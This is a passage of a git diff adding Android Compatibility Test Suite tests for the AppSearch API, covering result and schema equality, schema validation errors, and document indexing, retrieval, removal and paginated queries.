+ AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+ AppSearchResult<String> result4 =
+ AppSearchResult.newFailedResult(
+ AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+
+ assertThat(result3).isEqualTo(result4);
+ assertThat(result3.hashCode()).isEqualTo(result4.hashCode());
+ }
+
+ @Test
+ public void testResultEquals_failure() {
+ AppSearchResult<String> result1 = AppSearchResult.newSuccessfulResult("String");
+ AppSearchResult<String> result2 = AppSearchResult.newSuccessfulResult("Wrong");
+ AppSearchResult<String> resultNull = AppSearchResult.newSuccessfulResult(/*value=*/ null);
+
+ assertThat(result1).isNotEqualTo(result2);
+ assertThat(result1.hashCode()).isNotEqualTo(result2.hashCode());
+ assertThat(result1).isNotEqualTo(resultNull);
+ assertThat(result1.hashCode()).isNotEqualTo(resultNull.hashCode());
+
+ AppSearchResult<String> result3 =
+ AppSearchResult.newFailedResult(
+ AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+ AppSearchResult<String> result4 =
+ AppSearchResult.newFailedResult(AppSearchResult.RESULT_IO_ERROR, "errorMessage");
+
+ assertThat(result3).isNotEqualTo(result4);
+ assertThat(result3.hashCode()).isNotEqualTo(result4.hashCode());
+
+ AppSearchResult<String> result5 =
+ AppSearchResult.newFailedResult(AppSearchResult.RESULT_INTERNAL_ERROR, "Wrong");
+
+ assertThat(result3).isNotEqualTo(result5);
+ assertThat(result3.hashCode()).isNotEqualTo(result5.hashCode());
+
+ AppSearchResult<String> result6 =
+ AppSearchResult.newFailedResult(
+ AppSearchResult.RESULT_INTERNAL_ERROR, /*errorMessage=*/ null);
+
+ assertThat(result3).isNotEqualTo(result6);
+ assertThat(result3.hashCode()).isNotEqualTo(result6.hashCode());
+ }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java
new file mode 100644
index 0000000..7072a81
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.exceptions.IllegalSchemaException;
+
+import org.junit.Test;
+
+public class AppSearchSchemaCtsTest {
+ @Test
+ public void testInvalidEnums() {
+ PropertyConfig.Builder builder = new PropertyConfig.Builder("test");
+ expectThrows(IllegalArgumentException.class, () -> builder.setDataType(99));
+ expectThrows(IllegalArgumentException.class, () -> builder.setCardinality(99));
+ }
+
+ @Test
+ public void testMissingFields() {
+ PropertyConfig.Builder builder = new PropertyConfig.Builder("test");
+ IllegalSchemaException e = expectThrows(IllegalSchemaException.class, builder::build);
+ assertThat(e).hasMessageThat().contains("Missing field: dataType");
+
+ builder.setDataType(PropertyConfig.DATA_TYPE_DOCUMENT);
+ e = expectThrows(IllegalSchemaException.class, builder::build);
+ assertThat(e).hasMessageThat().contains("Missing field: schemaType");
+
+ builder.setSchemaType("TestType");
+ e = expectThrows(IllegalSchemaException.class, builder::build);
+ assertThat(e).hasMessageThat().contains("Missing field: cardinality");
+
+ builder.setCardinality(PropertyConfig.CARDINALITY_REPEATED);
+ builder.build();
+ }
+
+ @Test
+ public void testDuplicateProperties() {
+ AppSearchSchema.Builder builder =
+ new AppSearchSchema.Builder("Email")
+ .addProperty(
+ new PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build());
+ IllegalSchemaException e =
+ expectThrows(
+ IllegalSchemaException.class,
+ () ->
+ builder.addProperty(
+ new PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(
+ PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(
+ PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build()));
+ assertThat(e).hasMessageThat().contains("Property defined more than once: subject");
+ }
+
+ @Test
+ public void testEquals_identical() {
+ AppSearchSchema schema1 =
+ new AppSearchSchema.Builder("Email")
+ .addProperty(
+ new PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ AppSearchSchema schema2 =
+ new AppSearchSchema.Builder("Email")
+ .addProperty(
+ new PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ assertThat(schema1).isEqualTo(schema2);
+ assertThat(schema1.hashCode()).isEqualTo(schema2.hashCode());
+ }
+
+ @Test
+ public void testEquals_differentOrder() {
+ AppSearchSchema schema1 =
+ new AppSearchSchema.Builder("Email")
+ .addProperty(
+ new PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ AppSearchSchema schema2 =
+ new AppSearchSchema.Builder("Email")
+ .addProperty(
+ new PropertyConfig.Builder("subject")
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .build())
+ .build();
+ assertThat(schema1).isEqualTo(schema2);
+ assertThat(schema1.hashCode()).isEqualTo(schema2.hashCode());
+ }
+
+ @Test
+ public void testEquals_failure() {
+ AppSearchSchema schema1 =
+ new AppSearchSchema.Builder("Email")
+ .addProperty(
+ new PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ AppSearchSchema schema2 =
+ new AppSearchSchema.Builder("Email")
+ .addProperty(
+ new PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(
+ PropertyConfig
+ .INDEXING_TYPE_EXACT_TERMS) // Different
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ assertThat(schema1).isNotEqualTo(schema2);
+ assertThat(schema1.hashCode()).isNotEqualTo(schema2.hashCode());
+ }
+
+ @Test
+ public void testEquals_failure_differentOrder() {
+ AppSearchSchema schema1 =
+ new AppSearchSchema.Builder("Email")
+ .addProperty(
+ new PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .addProperty(
+ new PropertyConfig.Builder("body")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ // Order of 'body' and 'subject' has been switched
+ AppSearchSchema schema2 =
+ new AppSearchSchema.Builder("Email")
+ .addProperty(
+ new PropertyConfig.Builder("body")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .addProperty(
+ new PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ assertThat(schema1).isNotEqualTo(schema2);
+ assertThat(schema1.hashCode()).isNotEqualTo(schema2.hashCode());
+ }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
new file mode 100644
index 0000000..c8621b4
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
@@ -0,0 +1,1812 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.convertSearchResultsToDocuments;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.doGet;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchEmail;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByUriRequest;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.RemoveByUriRequest;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.MoreExecutors;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+
+public abstract class AppSearchSessionCtsTestBase {
+ private AppSearchSessionShim mDb1;
+ private static final String DB_NAME_1 = AppSearchManager.DEFAULT_DATABASE_NAME;
+ private AppSearchSessionShim mDb2;
+ private static final String DB_NAME_2 = "testDb2";
+
+ protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+ @NonNull String dbName);
+
+ protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+ @NonNull String dbName, @NonNull ExecutorService executor);
+
+ @Before
+ public void setUp() throws Exception {
+ Context context = ApplicationProvider.getApplicationContext();
+
+ mDb1 = createSearchSession(DB_NAME_1).get();
+ mDb2 = createSearchSession(DB_NAME_2).get();
+
+ // Cleanup whatever documents may still exist in these databases. This is needed in
+ // addition to tearDown in case a test exited without completing properly.
+ cleanup();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // Cleanup whatever documents may still exist in these databases.
+ cleanup();
+ }
+
+ private void cleanup() throws Exception {
+ mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+ }
+
+ @Test
+ public void testSetSchema() throws Exception {
+ AppSearchSchema emailSchema =
+ new AppSearchSchema.Builder("Email")
+ .addProperty(
+ new AppSearchSchema.PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .addProperty(
+ new AppSearchSchema.PropertyConfig.Builder("body")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(emailSchema).build()).get();
+ }
+
+ @Test
+ public void testPutDocuments() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index a document
+ AppSearchEmail email =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+
+ AppSearchBatchResult<String, Void> result =
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email)
+ .build()));
+ assertThat(result.getSuccesses()).containsExactly("uri1", null);
+ assertThat(result.getFailures()).isEmpty();
+ }
+
+ @Test
+ public void testUpdateSchema() throws Exception {
+ // Schema registration
+ AppSearchSchema oldEmailSchema =
+ new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+ .addProperty(
+ new AppSearchSchema.PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ AppSearchSchema newEmailSchema =
+ new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+ .addProperty(
+ new AppSearchSchema.PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .addProperty(
+ new AppSearchSchema.PropertyConfig.Builder("body")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ AppSearchSchema giftSchema =
+ new AppSearchSchema.Builder("Gift")
+ .addProperty(
+ new AppSearchSchema.PropertyConfig.Builder("price")
+ .setDataType(PropertyConfig.DATA_TYPE_INT64)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_NONE)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_NONE)
+ .build())
+ .build();
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(oldEmailSchema).build()).get();
+
+ // Try to index a gift. This should fail as it's not in the schema.
+ GenericDocument gift =
+ new GenericDocument.Builder<>("gift1", "Gift").setPropertyLong("price", 5).build();
+ AppSearchBatchResult<String, Void> result =
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(gift).build())
+ .get();
+ assertThat(result.isSuccess()).isFalse();
+ assertThat(result.getFailures().get("gift1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+ // Update the schema to include the gift and update email with a new field
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(newEmailSchema, giftSchema).build())
+ .get();
+
+ // Try to index the document again, which should now work
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(gift).build()));
+
+ // Indexing an email with a body should also work
+ AppSearchEmail email =
+ new AppSearchEmail.Builder("email1")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+ }
+
+ @Test
+ public void testRemoveSchema() throws Exception {
+ // Schema registration
+ AppSearchSchema emailSchema =
+ new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+ .addProperty(
+ new AppSearchSchema.PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(emailSchema).build()).get();
+
+ // Index an email and check it present.
+ AppSearchEmail email =
+ new AppSearchEmail.Builder("email1").setSubject("testPut example").build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+ List<GenericDocument> outDocuments =
+ doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "email1");
+ assertThat(outDocuments).hasSize(1);
+ AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+ assertThat(outEmail).isEqualTo(email);
+
+ // Try to remove the email schema. This should fail as it's an incompatible change.
+ Throwable failResult1 =
+ expectThrows(
+ ExecutionException.class,
+ () -> mDb1.setSchema(new SetSchemaRequest.Builder().build()).get())
+ .getCause();
+ assertThat(failResult1).isInstanceOf(AppSearchException.class);
+ assertThat(failResult1).hasMessageThat().contains("Schema is incompatible");
+ assertThat(failResult1)
+ .hasMessageThat()
+ .contains(
+ "Deleted types: [com.android.cts.appsearch$"
+ + DB_NAME_1
+ + "/builtin:Email]");
+
+ // Try to remove the email schema again, which should now work as we set forceOverride to
+ // be true.
+ mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+
+ // Make sure the indexed email is gone.
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(
+ new GetByUriRequest.Builder()
+ .setNamespace(GenericDocument.DEFAULT_NAMESPACE)
+ .addUri("email1")
+ .build())
+ .get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("email1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+ // Try to index an email again. This should fail as the schema has been removed.
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("email2").setSubject("testPut example").build();
+ AppSearchBatchResult<String, Void> failResult2 =
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email2)
+ .build())
+ .get();
+ assertThat(failResult2.isSuccess()).isFalse();
+ assertThat(failResult2.getFailures().get("email2").getErrorMessage())
+ .isEqualTo(
+ "Schema type config 'com.android.cts.appsearch$"
+ + DB_NAME_1
+ + "/builtin:Email' not found");
+ }
+
+ @Test
+ public void testRemoveSchema_twoDatabases() throws Exception {
+ // Schema registration in mDb1 and mDb2
+ AppSearchSchema emailSchema =
+ new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+ .addProperty(
+ new AppSearchSchema.PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .build())
+ .build();
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(emailSchema).build()).get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(emailSchema).build()).get();
+
+ // Index an email and check it present in database1.
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("email1").setSubject("testPut example").build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+ List<GenericDocument> outDocuments =
+ doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "email1");
+ assertThat(outDocuments).hasSize(1);
+ AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+ assertThat(outEmail).isEqualTo(email1);
+
+ // Index an email and check it present in database2.
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("email2").setSubject("testPut example").build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+ outDocuments = doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "email2");
+ assertThat(outDocuments).hasSize(1);
+ outEmail = new AppSearchEmail(outDocuments.get(0));
+ assertThat(outEmail).isEqualTo(email2);
+
+ // Try to remove the email schema in database1. This should fail as it's an incompatible
+ // change.
+ Throwable failResult1 =
+ expectThrows(
+ ExecutionException.class,
+ () -> mDb1.setSchema(new SetSchemaRequest.Builder().build()).get())
+ .getCause();
+ assertThat(failResult1).isInstanceOf(AppSearchException.class);
+ assertThat(failResult1).hasMessageThat().contains("Schema is incompatible");
+ assertThat(failResult1)
+ .hasMessageThat()
+ .contains(
+ "Deleted types: [com.android.cts.appsearch$"
+ + DB_NAME_1
+ + "/builtin:Email]");
+
+ // Try to remove the email schema again, which should now work as we set forceOverride to
+ // be true.
+ mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+
+ // Make sure the indexed email is gone in database 1.
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(
+ new GetByUriRequest.Builder()
+ .setNamespace(GenericDocument.DEFAULT_NAMESPACE)
+ .addUri("email1")
+ .build())
+ .get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("email1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+ // Try to index an email again. This should fail as the schema has been removed.
+ AppSearchEmail email3 =
+ new AppSearchEmail.Builder("email3").setSubject("testPut example").build();
+ AppSearchBatchResult<String, Void> failResult2 =
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email3)
+ .build())
+ .get();
+ assertThat(failResult2.isSuccess()).isFalse();
+ assertThat(failResult2.getFailures().get("email3").getErrorMessage())
+ .isEqualTo(
+ "Schema type config 'com.android.cts.appsearch$"
+ + DB_NAME_1
+ + "/builtin:Email' not found");
+
+ // Make sure email in database 2 still present.
+ outDocuments = doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "email2");
+ assertThat(outDocuments).hasSize(1);
+ outEmail = new AppSearchEmail(outDocuments.get(0));
+ assertThat(outEmail).isEqualTo(email2);
+
+ // Make sure email could still be indexed in database 2.
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+ }
+
+ @Test
+ public void testGetDocuments() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index a document
+ AppSearchEmail inEmail =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+ // Get the document
+ List<GenericDocument> outDocuments = doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1");
+ assertThat(outDocuments).hasSize(1);
+ AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
+ assertThat(outEmail).isEqualTo(inEmail);
+
+ // Can't get the document in the other instance.
+ AppSearchBatchResult<String, GenericDocument> failResult =
+ mDb2.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+ assertThat(failResult.isSuccess()).isFalse();
+ assertThat(failResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ }
+
+ @Test
+ public void testQuery() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index a document
+ AppSearchEmail inEmail =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+ // Query for the document
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(1);
+ assertThat(documents.get(0)).isEqualTo(inEmail);
+
+ // Multi-term query
+ searchResults =
+ mDb1.query(
+ "body email",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(1);
+ assertThat(documents.get(0)).isEqualTo(inEmail);
+ }
+
+ @Test
+ public void testQuery_getNextPage() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ Set<AppSearchEmail> emailSet = new HashSet<>();
+ PutDocumentsRequest.Builder putDocumentsRequestBuilder = new PutDocumentsRequest.Builder();
+ // Index 31 documents
+ for (int i = 0; i < 31; i++) {
+ AppSearchEmail inEmail =
+ new AppSearchEmail.Builder("uri" + i)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ emailSet.add(inEmail);
+ putDocumentsRequestBuilder.addGenericDocument(inEmail);
+ }
+ checkIsBatchResultSuccess(mDb1.putDocuments(putDocumentsRequestBuilder.build()));
+
+ // Set number of results per page is 7.
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .setResultCountPerPage(7)
+ .build());
+ List<GenericDocument> documents = new ArrayList<>();
+
+ int pageNumber = 0;
+ List<SearchResult> results;
+
+ // keep loading next page until it's empty.
+ do {
+ results = searchResults.getNextPage().get();
+ ++pageNumber;
+ for (SearchResult result : results) {
+ documents.add(result.getDocument());
+ }
+ } while (results.size() > 0);
+
+ // check all document presents
+ assertThat(documents).containsExactlyElementsIn(emailSet);
+ assertThat(pageNumber).isEqualTo(6); // 5 (upper(31/7)) + 1 (final empty page)
+ }
+
+ @Test
+ public void testQuery_typeFilter() throws Exception {
+ // Schema registration
+ AppSearchSchema genericSchema =
+ new AppSearchSchema.Builder("Generic")
+ .addProperty(
+ new PropertyConfig.Builder("foo")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .build();
+ mDb1.setSchema(
+ new SetSchemaRequest.Builder()
+ .addSchema(AppSearchEmail.SCHEMA)
+ .addSchema(genericSchema)
+ .build())
+ .get();
+
+ // Index a document
+ AppSearchEmail inEmail =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ GenericDocument inDoc =
+ new GenericDocument.Builder<>("uri2", "Generic")
+ .setPropertyString("foo", "body")
+ .build();
+ checkIsBatchResultSuccess(
